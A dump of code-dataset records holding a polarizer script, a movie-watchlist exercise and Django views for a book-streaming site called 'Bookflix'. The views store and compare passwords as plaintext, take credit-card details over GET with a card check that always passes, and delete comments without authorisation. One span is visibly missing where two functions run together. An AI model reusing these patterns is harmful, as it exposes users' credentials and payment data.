line arguments\n port = args.port\n deg = args.degree\n is_reset = args.reset\n\n #connect to the polarizer\n polarizer = AutoPolarizer(port=port)\n \n #set speed as default\n polarizer.set_speed()\n \n #reset (if required)\n if is_reset:\n polarizer.reset()\n \n #rotate the polarizer\n polarizer.degree = deg\n \n #explicit disconnect request\n del polarizer\n \nif __name__==\"__main__\":\n main()\n","sub_path":"autopolarizer/autopolarizer.py","file_name":"autopolarizer.py","file_ext":"py","file_size_in_byte":10502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"135929180","text":"#--------FUNCTIONS FOR WAVE01--------#\n\ndef create_movie(movie_title, genre, rating):\n '''\n This function initialize a dictionary with\n title, genre and rating\n '''\n if not movie_title or not genre or not rating:\n return None\n movie_dictionary = {\n \"title\" : movie_title,\n \"genre\" : genre,\n \"rating\" : rating\n }\n return movie_dictionary\n\ndef add_to_watched(user_data, movie):\n '''\n This function receives a user and a movie,\n and adds the movie to the \"watched\" key of the user\n '''\n user_data[\"watched\"].append(movie)\n return user_data\n\ndef add_to_watchlist(user_data, movie):\n '''\n This function receives a user and a movie,\n and adds the movie to the \"watchlist\" key of the user\n '''\n user_data[\"watchlist\"].append(movie)\n return user_data\n\ndef watch_movie(user_data, title):\n '''\n This function receives a user and a movie.\n Adds the movie to the \"watched\" key of the user and\n removes it from the \"watchlist\" list.\n '''\n watchlist_list = user_data[\"watchlist\"]\n for movie in watchlist_list:\n if movie[\"title\"] == title:\n user_data[\"watched\"].append(movie)\n watchlist_list.remove(movie)\n return user_data\n\n\n#--------FUNCTIONS FOR WAVE02--------#\n\ndef get_watched_avg_rating(user_data):\n '''\n This function receives a user and returns the \n average rating for all the watched movies.\n '''\n movies_rating = 0\n movies_watched_list = user_data[\"watched\"]\n if len(movies_watched_list) == 0:\n return 0.0\n for movie in movies_watched_list:\n movies_rating += movie[\"rating\"]\n return movies_rating / len(movies_watched_list)\n\n\ndef get_most_watched_genre(user_data):\n '''\n This function creates a genre dictionary to store the movie's\n genre and how many times that gender has been watched.\n OUTPUT: Returns the most frequent genre wanched (string).\n '''\n genre_dictionary = {}\n most_frecuent_genre = \"\"\n most_frecuent_genre_amount = 0\n movies_watched_list = user_data[\"watched\"]\n if not len(movies_watched_list):\n return None\n for movie in movies_watched_list:\n if movie[\"genre\"] in genre_dictionary:\n genre_dictionary[movie[\"genre\"]] += 1\n else:\n genre_dictionary[movie[\"genre\"]] = 1\n if genre_dictionary[movie[\"genre\"]] > most_frecuent_genre_amount:\n most_frecuent_genre_amount = genre_dictionary[movie[\"genre\"]]\n most_frecuent_genre = movie[\"genre\"]\n return most_frecuent_genre\n\n\n#--------FUNCTIONS FOR WAVE03--------#\n\ndef get_friends_movies_watched_titles(friends_list):\n '''\n This function was created for easier analysis and understanding of future functions.\n OUTPUT: Return a dictonary where key are the titles of movies watched by \n any friend of user, and value is another dictionary with movie's info.\n '''\n movies_watched = {}\n for friend in friends_list:\n movies_watched_list = friend[\"watched\"]\n for movie in movies_watched_list:\n if movie[\"title\"] not in movies_watched:\n movies_watched[movie[\"title\"]] = movie\n return movies_watched\n\n\ndef get_unique_watched(user_data):\n '''\n This function dermine movies watched by user but not by friends\n OUTPUT: List of unique movies watched by user\n '''\n friends_list = user_data[\"friends\"]\n movies_watched_list = user_data[\"watched\"]\n user_unique_movies = []\n movies_watched_by_friends = get_friends_movies_watched_titles(friends_list) \n for movie in movies_watched_list:\n title = movie[\"title\"]\n if title not in movies_watched_by_friends:\n user_unique_movies.append(movie)\n return user_unique_movies\n\n\ndef get_friends_unique_watched(user_data):\n '''\n This function determine movies watched by at least one friend\n but not by the user.\n OUTPUT: List of movies watched by at least one friend \n '''\n friends_list = user_data[\"friends\"]\n movies_watched_list = user_data[\"watched\"]\n to_watchlist_movies = []\n movies_watched_by_friends = get_friends_movies_watched_titles(friends_list) \n for friends_movie_title, friends_movie_info in movies_watched_by_friends.items():\n for movie in movies_watched_list:\n user_movie_title = movie[\"title\"]\n if user_movie_title == friends_movie_title:\n break\n else:\n to_watchlist_movies.append(friends_movie_info)\n return to_watchlist_movies\n\n\n#--------FUNCTIONS FOR WAVE04--------#\n\ndef get_available_recs (user_data):\n '''\n This function determines a list of recommended movies.\n A movie should be added to this list if the user has not\n watched it, at least one of the user's friends has watched\n and the \"host\" of the movie is a service that is in\n the user's \"subscriptions\"\n '''\n recommended_movies = []\n movies_watched_by_friends_list = get_friends_unique_watched(user_data)\n for movie in movies_watched_by_friends_list:\n for host in user_data[\"subscriptions\"]:\n if host == movie[\"host\"]:\n recommended_movies.append(movie)\n return recommended_movies\n\n\n#--------FUNCTIONS FOR WAVE05--------#\n\ndef get_new_rec_by_genre(user_data):\n '''\n This function determines a list of recommended movies. \n A movie should be added to this list if the user has \n not watched it, at least one of the user's friends has \n watched and the \"genre\" of the movie is the same as \n the user's most frequent genre\n '''\n recommended_movies = []\n movies_watched_by_friends_list = get_friends_unique_watched(user_data) \n most_frequently_watched_genre = get_most_watched_genre(user_data) \n for movie in movies_watched_by_friends_list:\n if movie[\"genre\"] == most_frequently_watched_genre:\n recommended_movies.append(movie)\n return recommended_movies\n\ndef get_rec_from_favorites(user_data):\n '''\n This function determines a list of recommended movies. \n A movie should be added to this list if it is in the \n user's \"favorites\" and none of the user's friends \n have watched it.\n '''\n recommended_movies = []\n movies_watched_by_friends_dic = get_friends_movies_watched_titles(user_data[\"friends\"])\n for movie in user_data[\"favorites\"]:\n if movie[\"title\"] not in movies_watched_by_friends_dic:\n recommended_movies.append(movie)\n return recommended_movies\n","sub_path":"viewing_party/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"558067887","text":"from django.shortcuts import render,redirect\nfrom django.http import HttpResponse\nfrom django.template import Template,Context,loader\nfrom bookflix.models import Usuario\nfrom django.shortcuts import render,redirect\nfrom django.contrib.auth import logout as do_logout, authenticate\nfrom django.contrib.auth import login as do_login\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom .forms import UserCreationFormExtends, UserEditForm, ProfileCreateForm,TarjetaCreacionForm,UsuarioCreacionForm\nfrom django.contrib.auth.models import User\nfrom .models import Perfil,Libro,Autor,Genero,Editorial,Precio,Tarjeta,Novedad,Calificacion,Capitulo,Favorito,Busqueda,Lectura,Comentario\nimport os\nfrom django.shortcuts import get_object_or_404\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.views.generic import View\nfrom django.core.exceptions import ValidationError\nimport datetime\nimport time\n\n# Create your views here.\n\ndef holaMundo(request):\n return HttpResponse(\"Hola mundo\")\n\n\ndef holaMundoTemplate(request):\n nombre = 'Agustin'\n diccionario = {'nombre': nombre}\n return render (request, \"HolaMundo/holaMundo.html\", diccionario)\n\n\ndef emptyPath(request):\n if estaLogueado(request):\n return redirect('/home/')\n return render(request,\"emptyPath.html\")\n\n@login_required\ndef buscarLibro(request):\n return render(request,\"busquedaLibro.html\")\n\n@login_required\ndef resultadosBusqueda(request):\n if request.GET[\"busqueda\"] != \"\":\n busq=request.GET[\"busqueda\"]\n text=busq.strip()\n #\n print(text)\n if request.GET[\"dist\"]==\"0\":\n unPerfil=Perfil.objects.get(id=request.session.get(\"id\"))\n busqq=Busqueda.objects.filter(quien=unPerfil)\n if(len(busqq)==0):\n unaBusqueda = Busqueda(fecha=datetime.datetime.now(),quien=unPerfil,que=text)\n unaBusqueda.save()\n else:\n if (busqq[len(busqq)-1].que == text):\n var=busqq[len(busqq)-1]\n var.delete()\n unaBusqueda = Busqueda(fecha=datetime.datetime.now(),quien=unPerfil,que=text)\n unaBusqueda.save()\n #\n if len(text)==0:\n text=request.GET[\"busqueda\"]\n resultados=[]\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n return render(request,\"resultadosBusqueda.html\",{\"libros\":resultados,\"que\":text,\"perfil\":perfil})\n resultadosL=Libro.objects.filter(titulo__icontains=text)\n resultadosA=Libro.objects.filter(autor_id__nombre__icontains=text)\n librosSin2=[]\n librosCon2=[]\n #busca las coincidencias con los titulos, despues los autores y despues hace un set para sacar repetidos\n\n for l in resultadosL:\n venC=l.vencimiento.strftime(\"%Y/%m/%d\")\n hoy=datetime.datetime.now().strftime(\"%Y/%m/%d\")\n print('Vencimiento:',venC)\n print('Hoy:',hoy)\n print(venC<=hoy)\n if venC>hoy:\n autor=Autor(nombre=l.autor.nombre)\n libro=Libro(id=l.id,titulo=l.titulo,capitulado=l.capitulado,autor=autor,isbn=l.isbn)\n librosSin2.append(libro)\n autor2=Autor(nombre=l.autor.nombre)\n libro2=Libro(id=l.id,titulo=l.titulo,capitulado=l.capitulado,autor=autor2,isbn=l.isbn)\n librosCon2.append(libro2)\n\n\n for l in resultadosA:\n venC=l.vencimiento.strftime(\"%Y/%m/%d\")\n hoy=datetime.datetime.now().strftime(\"%Y/%m/%d\")\n print('Vencimiento:',venC)\n print('Hoy:',hoy)\n print(venC<=hoy)\n if venC>hoy:\n autor=Autor(nombre=l.autor.nombre)\n libro=Libro(id=l.id,titulo=l.titulo,capitulado=l.capitulado,autor=autor,isbn=l.isbn)\n librosSin2.append(libro)\n autor2=Autor(nombre=l.autor.nombre)\n libro2=Libro(id=l.id,titulo=l.titulo,capitulado=l.capitulado,autor=autor2,isbn=l.isbn)\n librosCon2.append(libro2)\n\n librosCon=list(set(librosCon2))\n librosSin=list(set(librosSin2))\n\n for lc in librosCon:\n lc.titulo=lc.titulo.replace(\" \",\"_\")\n lc.autor.nombre=lc.autor.nombre.replace(\" \",\"_\")\n\n dicci = {}\n dicci = {'que': text,'librosC':librosCon[0:6],'librosS':librosSin[0:6]}\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n dicci[\"perfil\"]=perfil\n\n\n else:\n text=request.GET[\"busqueda\"]\n resultados=[]\n dicci={}\n dicci={'que':text,'librosC':resultados,'librosS':resultados}\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n dicci[\"perfil\"]=perfil\n return render(request,\"resultadosBusqueda.html\",dicci)\n#USUARIOS\ndef registrame(request):\n if estaLogueado(request):\n return redirect('/')\n if request.method==\"GET\":\n vuelta=chequearCampos(request)\n error=vuelta[1]\n if (vuelta[0]):\n dnis=Usuario.objects.filter(dni=request.GET[\"dni\"])\n if len(dnis) == 0:\n user=User()\n user.first_name=request.GET[\"name\"].strip()\n user.last_name=request.GET[\"apellido\"].strip()\n usernameA=request.GET[\"username\"].strip()\n usernameA=str(usernameA).lower().replace(\" \",\"\")\n user.username=usernameA\n user.password=request.GET[\"password\"].strip()\n user.email=request.GET[\"email\"].strip()\n usuario=Usuario()\n usuario.user=user\n usuario.dni=request.GET[\"dni\"]\n usuario.nacimiento=request.GET[\"nacimiento\"]\n t=Tarjeta()\n num=(request.GET[\"numero\"])\n t.num=str(num)\n t.cod=request.GET[\"cod\"]\n t.nom=request.GET[\"nomT\"].strip()\n t.venc=request.GET[\"fechaV\"]\n usuario.tarjeta=t\n usuario.tipo=Precio.objects.get(tipo='Comun')\n perf=Perfil(usuario=usuario,nom=user.first_name,fecha=datetime.datetime.now())\n user.save()\n if validarTarjeta(t):\n t.save()\n usuario.save()\n perf.foto=\"FotoPerfil1\"\n perf.save()\n if user is not None:\n do_login(request, user)\n if(request.user.is_staff==0):\n request.session[\"id\"]=0\n return redirect('/elegirPerfil/')\n else:\n request.session[\"id\"]=1\n return redirect('/home/')\n error=6\n campos={\"error\":error,\"userN\":request.GET[\"username\"],\"contra\":request.GET[\"password\"],\"email\":request.GET[\"email\"],\n \"nombre\":request.GET[\"name\"],\"ape\":request.GET[\"apellido\"],\"dni\":request.GET[\"dni\"],\n \"birth\":request.GET[\"nacimiento\"],\"numT\":request.GET[\"numero\"],\"cod\":request.GET[\"cod\"],\n \"nomT\":request.GET[\"nomT\"],\"fechaV\":request.GET[\"fechaV\"]}\n return render(request, \"registrarse.html\",campos)\n print(\"VOY BIEN\")\n return render(request, \"registrarse.html\",{\"error\":0})\n#cod 1= username\n#cod 2= password\n#cod 3= email\n#cod 4= nombre\n#cod 5= apellido\n#cod 6= dni\n#cod 7= fecha de nacimiento\n#cod 8= numero tarjeta\n#cod 9= codigo tarjeta\n#cod 10= titular tarjeta\n#cod 11= vencimiento tarjeta\n\ndef validarTarjeta(tarjeta):\n return True\n\ndef chequearUser(request):\n dev=[False,0]\n nombre=request.GET[\"name\"].strip()\n apellido=request.GET[\"apellido\"].strip()\n contra=request.GET[\"password\"]\n username=request.GET[\"username\"].strip()\n email=request.GET[\"email\"].strip()\n if (nombre!=\"\"):\n if (apellido!=\"\"):\n if(username!=\"\"):\n if(email!=\"\"):\n if(contra!=\"\"):\n print(\"NINGUNO ERA VACIO\")\n if(len(contra)>=8):\n if (len(User.objects.filter(username=username))==0):\n if (len(User.objects.filter(email=email))==0):\n dev=[True,0]\n else:\n print(\"Email repetido\")\n dev[1]=3\n else:\n print(\"Username Repetido\")\n dev[1]=1\n else:\n print(\"contraseña corta\")\n dev[1]=2\n else:\n print(\"Contraseña en blanco\")\n dev[1]=22\n else:\n print(\"email en blanco\")\n dev[1]=22\n else:\n print(\"username en blanco\")\n dev[1]=22\n else:\n print(\"apellido en blanco\")\n dev[1]=22\n else:\n print(\"nombre en blanco\")\n dev[1]=22\n return dev\n\ndef chequearCampos(request):\n dev=[False,0]\n dni=request.GET[\"dni\"]\n nac=request.GET[\"nacimiento\"]\n numtar= request.GET[\"numero\"]\n if numtar != \"\":\n numT=int(numtar)\n else:\n numT=\"\"\n cod=request.GET[\"cod\"]\n nomT=request.GET[\"nomT\"].strip()\n fechaV=request.GET[\"fechaV\"]\n if (dni!=\"\"):\n if (nac!=\"\"):\n año=int(nac[0:4])\n hoy=int(datetime.datetime.now().strftime(\"%Y\"))\n dif=hoy-año\n if(dif>=18):\n if(numT!=\"\"):\n if ((numT>4000000000000000)&(numT<4999999999999999)):\n if(cod!=\"\"):\n if((cod>'111')&(cod<'9999')):\n if(nomT!=\"\"):\n if(fechaV!=\"\"):\n print(\"-------------------------------------------------\")\n print(fechaV)\n print(datetime.datetime.now().strftime(\"%Y-%m-%d\"))\n print(\"-------------------------------------------------\")\n if(fechaV>datetime.datetime.now().strftime(\"%Y-%m-%d\")):\n print(\"TODO BIEN\")\n res=chequearUser(request)\n if res[0]:\n print(\"USER TAMBIEN TODO JOYA\")\n dev=[True,0]\n else:\n dev=res\n else:\n print(\"fecha anterior a hoy\")\n dev[1]=11\n else:\n print(\"fecha vacia\")\n dev[1]=22\n else:\n print(\"nombre vacio\")\n dev[1]=22\n else:\n print(\"codigo invalido\")\n dev[1]=9\n else:\n print(\"cod vacio\")\n dev[1]=22\n else:\n print(\"numero invalido\")\n dev[1]=8\n else:\n print(\"numero vacio\")\n dev[1]=22\n else:\n print(\"menor de edad\")\n dev[1]=7\n else:\n print(\"fecha de nacimiento en blanco\")\n dev[1]=22\n else:\n print(\"dni en blanco\")\n dev[1]=22\n return dev\n\ndef signIn(request):\n if estaLogueado(request):\n return redirect('/')\n return render(request,\"registrarse.html\",{\"error\":0})\n\ndef login(request):\n if estaLogueado(request):\n return redirect('/home/')\n if request.method == 'POST':\n if ((request.POST[\"username\"]==\"\")|(request.POST[\"password\"]==\"\")):\n return render(request, \"login.html\", {'cod':1})\n else:\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(request,username=username, password=password)\n if user is None:\n hay = User.objects.filter(username=username,password=password)\n if len(hay)!=0:\n user=User.objects.get(username=username,password=password)\n if user is not None:\n print(\"entre al login\")\n do_login(request, user)\n if(request.user.is_staff==0):\n request.session[\"id\"]=0\n return redirect('/elegirPerfil/')\n else:\n request.session[\"id\"]=1\n return redirect('/home/')\n return render(request, \"login.html\", {'cod': 2})\n return render(request,\"login.html\",{\"cod\":0})\n#cod=0: No hubo intento\n#cod=1: Intento pero algun dato vacio\n#cod=2: Intento pero algun dato equivocado\n\n@login_required\ndef elegirPerfil(request):\n usu=Usuario.objects.get(user=request.user)\n perfiles=Perfil.objects.filter(usuario=usu)\n print(perfiles)\n print(perfiles[0].foto)\n if request.session[\"id\"]==0:\n nuevo=True\n return render (request,'selectPerfil.html',{\"perfiles\":perfiles,\"nuevo\":nuevo})\n else:\n nuevo=False\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n return render (request,'selectPerfil.html',{\"perfiles\":perfiles,\"nuevo\":nuevo,\"perfil\":perfil})\n\n@login_required\ndef setPerfil(request):\n idPerfil=int(request.POST[\"idPerfil\"])\n perfil=Perfil.objects.get(id=idPerfil)\n request.session['id']=perfil.id\n print(request.session)\n return redirect('/home/')\n\n\n@login_required\ndef logout(request):\n do_logout(request)\n return redirect('/')\n\n\ndef queFoto(perfiles):\n if(len(perfiles)==1):\n return \"FotoPerfil2\"\n else:\n if len(perfiles)==2:\n return \"FotoPerfil3\"\n else:\n return \"FotoPerfil4\"\n\n@login_required\ndef register_profile(request):\n usuario=Usuario.objects.get(user_id=request.user.id)\n cuantos=Perfil.objects.filter(usuario__id=usuario.id)\n if (usuario.tipo_id == 1):\n var=len(cuantos)<2\n else:\n var=len(cuantos)<4\n if request.method == \"POST\":\n if var:\n profile=Perfil()\n profile.nom = request.POST[\"nombre\"]\n profile.usuario=Usuario.objects.get(user_id=request.user.id)\n profile.fecha=datetime.datetime.now()\n profile.foto=queFoto(cuantos)\n print(\"USE LA FOTO \",profile.foto)\n profile.save()\n return redirect('/miperfil/nuevoPerfil/')\n dicci={'perfiles':cuantos,'no':var}\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n dicci[\"perfil\"]=perfil\n return render(request, \"register_profile.html\", dicci)\n\n@login_required\ndef miperfil(request):\n usuario=Usuario.objects.get(user_id=request.user.id)\n if request.method == \"POST\":\n print(\" A CHEQUEAR CAMPOS \")\n if (chequearCampos2(request)):\n tarjeta = Tarjeta.objects.get(id=usuario.tarjeta_id)\n user= User.objects.get(id=usuario.user_id)\n usuario.dni = request.POST[\"dni\"]\n if request.POST[\"nacimiento\"]!=\"\":\n nac=request.POST[\"nacimiento\"]\n año=int(nac[0:4])\n hoy=int(datetime.datetime.now().strftime(\"%Y\"))\n dif=hoy-año\n if(dif>=18):\n usuario.nacimiento = request.POST[\"nacimiento\"]\n else:\n dicci={\"usu\":usuario,\"error\":\"La fecha de nacimiento ingresada corresponde a un menor de edad\"}\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n dicci[\"perfil\"]=perfil\n return render(request,'miperfil.html',dicci)\n tarjeta.num = str(request.POST[\"numero\"])\n tarjeta.cod = request.POST[\"cod\"]\n tarjeta.nom = request.POST[\"nomT\"]\n if request.POST[\"fechaV\"]!=\"\":\n fechaV=request.POST[\"fechaV\"]\n if(fechaV>datetime.datetime.now().strftime(\"%Y-%m-%d\")):\n tarjeta.venc = request.POST[\"fechaV\"]\n else:\n dicci={\"usu\":usuario,\"error\":\"La tarjeta esta vencida\"}\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n dicci[\"perfil\"]=perfil\n return render(request,'miperfil.html',dicci)\n user.first_name = request.POST[\"nombre\"]\n user.last_name = request.POST[\"apellido\"]\n if chequearMail(request):\n user.email = request.POST[\"email\"]\n else:\n dicci={\"usu\":usuario,\"error\":\"Email ya existente en el sistema\"}\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n dicci[\"perfil\"]=perfil\n return render(request,'miperfil.html',dicci)\n user.save()\n tarjeta.save()\n usuario.save()\n dicci={\"usu\":usuario,\"error\":\"Datos modificados exitosamente\"}\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n dicci[\"perfil\"]=perfil\n return render(request,'miperfil.html',dicci)\n else:\n dicci={\"usu\":usuario,\"error\":\"Los datos ingresados no son validos, por favor reviselos y vuelva a intentarlo\"}\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n dicci[\"perfil\"]=perfil\n return render(request,'miperfil.html',dicci)\n dicci={\"usu\":usuario,}\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n dicci[\"perfil\"]=perfil\n return render(request,'miperfil.html',dicci)\n\ndef chequearMail(request):\n aux1=User.objects.filter(email=request.POST[\"email\"])\n if (len(aux1)==0):\n print(\"True: el mail no estaba en el sistema\")\n return(True)\n else:\n if (request.user.email==request.POST[\"email\"]):\n print(\"True: el mail es el mismo que ya estaba\")\n return True\n else:\n print(\"False: el mail es de otro usuario\")\n return False\n\ndef chequearCampos2(request):\n print(\"EN CHEQUEAR CAMPOS2\")\n dni=request.POST[\"dni\"]\n numT=str(request.POST[\"numero\"])\n cod=request.POST[\"cod\"]\n nomT=request.POST[\"nomT\"]\n if (dni!=\"\"):\n if(numT!=\"\"):\n if ((numT>\"4000000000000000\")&(numT<\"4999999999999999\")):\n if((cod>'111')&(cod<'9999')):\n if(nomT!=\"\"):\n return True\n else:\n print(\"nombre vacio\")\n else:\n print(\"codigo invalido\")\n else:\n print(\"numero invalido\")\n else:\n print(\"numero vacio\")\n return False\n\ndef estaLogueado(request):\n resul=Usuario.objects.filter(user_id__username__icontains=request.user)\n aux= len(resul)==1\n print (aux)\n return aux\n\ndef obtenerNovedades():\n todasNovedades2 = Novedad.objects.all()\n todasNovedades=[]\n for i in range(len(todasNovedades2)-1,-1,-1):\n print(i)\n todasNovedades.append(todasNovedades2[i])\n print('--------------------------------')\n print(todasNovedades2)\n print(todasNovedades)\n print('--------------------------------')\n for each in todasNovedades:\n string= each.descripcion\n prev=''\n cont=0\n for i in range(0,len(string)):\n if cont<5:\n prev= prev + string[i]\n if string[i]==' ':\n cont= cont + 1\n prev= prev + '...'\n each.descripcion=prev\n return todasNovedades\n\n@login_required\ndef home(request):\n if request.session.get(\"id\")==0:\n return redirect('/elegirPerfil/')\n todasNovedades = obtenerNovedades()\n libros = Libro.objects.all()\n librosSin=[]\n librosCon=[]\n for l in libros:\n venC=l.vencimiento.strftime(\"%Y/%m/%d\")\n hoy=datetime.datetime.now().strftime(\"%Y/%m/%d\")\n print('Vencimiento:',venC)\n print('Hoy:',hoy)\n print(venC<=hoy)\n if venC>=hoy:\n autor=Autor(nombre=l.autor.nombre)\n libro=Libro(id=l.id,titulo=l.titulo,capitulado=l.capitulado,autor=autor,isbn=l.isbn)\n librosSin.append(libro)\n autor2=Autor(nombre=l.autor.nombre)\n libro2=Libro(id=l.id,titulo=l.titulo,capitulado=l.capitulado,autor=autor2,isbn=l.isbn)\n librosCon.append(libro2)\n\n for lc in librosCon:\n lc.titulo=lc.titulo.replace(\" \",\"_\")\n lc.autor.nombre=lc.autor.nombre.replace(\" \",\"_\")\n\n print(\"---------------------------\")\n print(\"LIBROS COMUNES:\")\n print(librosSin)\n print(\"LIBROS CON GUION:\")\n print(librosCon)\n print(\"---------------------------\")\n dicci = {}\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n dicci = {'todos': todasNovedades,'librosC':librosCon[-6:],'librosS':librosSin[-6:],'perfil':perfil}\n else:\n dicci = {'todos': todasNovedades,'librosC':librosCon[-6:],'librosS':librosSin[-6:]}\n return render(request, \"home.html\", dicci)\n #return render(request, \"PRUEBA.html\", dicci)\n\ndef PRUEBA(request):\n todas=['papa','hijo','mama','hermano','stepsis']\n dicci = {'todas': todas}\n return render(request,'PRUEBA.HTML',dicci)\n\n@login_required\ndef mostrarInfoLibro(request):\n if request.method=='GET':\n elLibro=Libro.objects.get(isbn=request.GET['isbn'])\n portada=elLibro.titulo.replace(\" \",\"_\") + \"-\" +elLibro.autor.nombre.replace(\" \",\"_\")\n calificaciones2=Calificacion.objects.filter(libro_id=elLibro.id)\n calificaciones=[]\n for i in range(len(calificaciones2)-1,-1,-1):\n print(i)\n calificaciones.append(calificaciones2[i])\n valor=0\n califico=False\n miCali=0\n print(calificaciones)\n usu=Perfil.objects.get(id=request.session.get(\"id\"))\n for each in calificaciones:\n if (each.autor == usu):\n califico=True\n miCali=each.cuanto\n valor= valor + each.cuanto\n if len(calificaciones)!=0:\n calificacionF=valor/ len(calificaciones)\n calificacionF= int(calificacionF)\n calificado=True\n else:\n calificado=False\n calificacionF=-1\n\n\n comentarios2=Comentario.objects.filter(libro_id=elLibro.id)\n comentarios=[]\n for i in range(len(comentarios2)-1,-1,-1):\n print(i)\n comentarios.append(comentarios2[i])\n\n print(elLibro)\n print(comentarios)\n if len(comentarios)==0:\n comentado=False\n else:\n comentado=True\n\n if request.user.is_staff == 0:\n usu=Perfil.objects.get(id=request.session.get(\"id\"))\n favoritos=Favorito.objects.filter(user=usu,libro_id=elLibro.id)\n if len(favoritos)==0:\n fav=False\n else:\n fav=True\n else:\n fav=False\n print('ENTRE HASTA ACA')\n unPerfil=Perfil.objects.get(id=request.session.get(\"id\"))\n leyo= Lectura.objects.filter(isbn=elLibro.isbn,usuario=unPerfil)\n leyo= len(leyo)>0\n if elLibro.capitulado:\n hoy=datetime.datetime.now().strftime(\"%Y/%m/%d\")\n capitulos=Capitulo.objects.filter(libro_id=elLibro.id)\n new=(len(capitulos)==0)\n vencimientos=[]\n if not(new):\n for each in capitulos:\n print('DATOS ORIGINALES: '+ each.vencimiento.strftime(\"%Y/%m/%d\") + ' ' + str(each.numero))\n boola= each.vencimiento.strftime(\"%Y/%m/%d\") >= hoy\n aux=Libro(isbn=each.numero,capitulado=boola)\n print('DATOS A APPEND: '+ str(aux.capitulado) + ' ' + str(aux.isbn))\n vencimientos.append(aux)\n impTodo(vencimientos)\n dicci={\"libro\":elLibro,\"portada\":portada,\"calificacion\":calificacionF,\"pdf\":vencimientos,\"fav\":fav,\"hoy\":hoy,\"new\":new,\"comentarios\":comentarios,\"comentado\":comentado,\"calificaciones\":calificaciones,\"calificado\":calificado,\"califico\":califico,\"miCali\":miCali,\"leyo\":leyo}\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n dicci[\"perfil\"]=perfil\n return render(request,'mostrarInfo.html',dicci)\n else:\n vencid=Capitulo.objects.filter(libro=elLibro)\n new=True\n vencido=False\n if len(vencid)!=0:\n venci=vencid[0]\n new=False\n print('CAPITULO:', venci)\n vencimiento=venci.vencimiento.strftime(\"%Y/%m/%d\")\n print(\"Vencimiento:\" + vencimiento)\n hoy=datetime.datetime.now().strftime(\"%Y/%m/%d\")\n print(\"hoy:\", hoy)\n vencido=vencimiento1:\n perf=Perfil.objects.get(id=request.POST[\"id\"])\n perf.delete()\n if(esSession):\n return redirect('/logout/')\n else:\n return redirect('/miperfil/nuevoPerfil/')\n\n@login_required\ndef leer(request):\n idLibro=request.GET[\"libro\"]\n cap=request.GET[\"numero\"]\n portada=request.GET[\"portada\"]\n usu=Perfil.objects.get(id=request.session.get(\"id\"))\n libro=Libro.objects.get(id=idLibro)\n if usu.id != 1:\n nuevo=Lectura()\n nuevo.isbn=libro.isbn\n nuevo.titulo=libro.titulo\n nuevo.autor=str(libro.autor)\n nuevo.fecha=datetime.datetime.now()\n nuevo.capitulo=int(cap)\n nuevo.usuario=usu\n print(nuevo)\n nuevo.save()\n link=\"http://localhost:8001/Plantillas/pdf/\"\n link= link + str(portada)\n if (cap!=\"0\"):\n link=link + \"-Capitulo\" + cap\n link= link + \".pdf#toolbar=0\"\n print(link)\n return redirect(link)\n\ndef agregarComentario(request):\n unComentario=request.GET[\"texto\"]\n unIsbn= request.GET[\"isbn\"]\n unUsuario=Perfil.objects.get(id=request.session.get(\"id\"))\n\n unLibro=Libro.objects.get(isbn=int(request.GET[\"isbn\"]))\n\n unaInstanciaComentario = Comentario(texto=unComentario,autor=unUsuario,libro=unLibro)\n unaInstanciaComentario.save()\n\n unaDireccion = \"/mostrarInfoLibro/?isbn=\" + unIsbn\n\n return redirect(unaDireccion)\n\ndef eliminarComentario(request):\n unIsbn= request.GET[\"isbn\"]\n unID = request.GET[\"id\"]\n unComentarioParaEliminar = Comentario.objects.get(id=unID)\n unComentarioParaEliminar.delete()\n\n unaDireccion = \"/mostrarInfoLibro/?isbn=\" + unIsbn\n\n return redirect(unaDireccion)\n\ndef agregarCalificacion(request):\n unIsbn= int(request.GET[\"isbn\"])\n unPerfil=Perfil.objects.get(id=request.session.get(\"id\"))\n num = int(request.GET[\"numero\"])\n unLibro=Libro.objects.get(isbn=unIsbn)\n leido = Lectura.objects.filter(isbn=unIsbn,usuario=unPerfil)\n qua = Calificacion.objects.filter(autor=unPerfil,libro=unLibro)\n if (len(leido) > 0): #si leyó el libro crea la calificación, sino no\n if (len(qua)>0):\n print(\"Ya habia votado\") #si ya calificó el libro previamente\n cal = Calificacion.objects.get(autor=unPerfil,libro=unLibro) #se borra la calificacion\n cal.delete()\n else:\n print(\"No habia votado\")\n cali = Calificacion(cuanto = num, autor = unPerfil, libro = unLibro)\n cali.save()\n else:\n print(\"No lo leyo\")\n direc = \"/mostrarInfoLibro/?isbn=\" + str(unIsbn)\n return redirect(direc)\n\n@login_required\ndef historialLectura(request):\n usu=Perfil.objects.get(id=request.session.get(\"id\"))\n print(usu)\n lecturas2=Lectura.objects.filter(usuario=usu)\n print(lecturas2)\n lecturas=[]\n for i in range(len(lecturas2)-1,-1,-1):\n print(i)\n 